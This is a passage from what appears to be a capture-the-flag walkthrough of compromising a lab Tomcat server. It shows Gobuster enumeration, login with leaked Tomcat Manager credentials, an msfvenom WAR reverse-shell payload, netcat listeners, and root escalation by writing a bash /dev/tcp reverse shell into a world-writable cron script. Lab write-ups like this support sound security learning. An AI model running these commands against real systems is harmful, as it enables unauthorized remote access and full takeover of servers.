I use Gobuster to search for hidden endpoints.

gobuster dir -u http://<Target-Machine-IP>:8080/ -w /usr/share/wordlists/dirb/common.txt -t 200

Findings:

/manager — Tomcat Manager login
/host-manager - (Not important)
/examples — Servlet and JSP examples
/docs — Documentation
One unusual directory name (/hgkFDt6wiHIUB29WWEON5PA) worth noting

Step 4: Accessing Tomcat Manager

Navigating to /manager prompts for credentials.

During earlier browsing, I received an error message containing a username and password when I cancled the login popup.

Username = tomcat
Password = s3cret

Using these credentials, I successfully log into the Tomcat Web Application Manager.

This is a big win — we have the ability to deploy applications.

Step 5: Generating a Reverse Shell with msfvenom

Tomcat can run WAR files, so I create a WAR reverse shell payload.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f war -o shell.war

Step 6: Uploading the Shell

Inside Tomcat Manager:

• Under Deploy, I upload shell.war
• After deployment, a new /shell application appears

Step 7: Setting up a Listener

I set up a netcat listener before triggering the shell:

nc -lvnp 4444

Step 8: Triggering the Reverse Shell

Visiting:

http://<Target-Machine-IP>:8080/shell/

Note: Replace with yours target machine IP.

Immediately connects back to my listener — we have a foothold on the machine.

Step 9: Grabbing the User Flag

Inside the shell:

ls /home
cat /home/jack/user.txt

I note the username and the user flag. If you go to the other unusual file text.txt, you will find that the the user jack is the root user.

Step 10: Privilege Escalation

Exploring the system, I check scheduled tasks and we got our escalation in plate:

cat /etc/crontab

I find this line:

* * * * * root cd /home/jack && bash id.sh

The file /home/jack/id.sh is world-writable:

ls -l /home/jack/id.sh
-rwxrwxrwx 1 jack jack 26 Aug 14 2019 id.sh

That’s basically an open door to root.

Step 11: Exploiting the Cron Job

I replace the contents of id.sh with a reverse shell:

echo 'bash -i >& /dev/tcp/<attacker_ip>/5555 0>&1' > /home/jack/id.sh
chmod +x /home/jack/id.sh

Then start a new listener:

nc -lvnp 5555

Within a minute (since it is scheduled), I get a root shell.

Step 12: Capturing the Root Flag

whoami
cat /root/root.txt

And just like that, root is ours.

Conclusion

This machine demonstrates a classic chain:

• Enumeration leads to exposed Tomcat Manager
• Credential leakage gives access to deploy code
• Reverse shell via WAR payload
• Simple privilege escalation via writable cron job

A nice reminder that misconfigured services combined with poor permissions can be devastating.